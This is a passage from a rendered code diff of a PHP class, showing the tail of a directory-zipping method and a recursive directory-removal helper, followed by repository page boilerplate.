$this->addDirToZip($zip, $path, $zipPath);
|
||||||
|
} else {
|
||||||
|
$zip->addFile($path, $zipPath);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function rrmdir(string $dir): void
|
||||||
|
{
|
||||||
|
if (! is_dir($dir)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$items = scandir($dir);
|
||||||
|
foreach ($items as $item) {
|
||||||
|
if ($item === '.' || $item === '..') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$path = $dir.'/'.$item;
|
||||||
|
if (is_dir($path)) {
|
||||||
|
$this->rrmdir($path);
|
||||||
|
} else {
|
||||||
|
@unlink($path);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
@rmdir($dir);
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user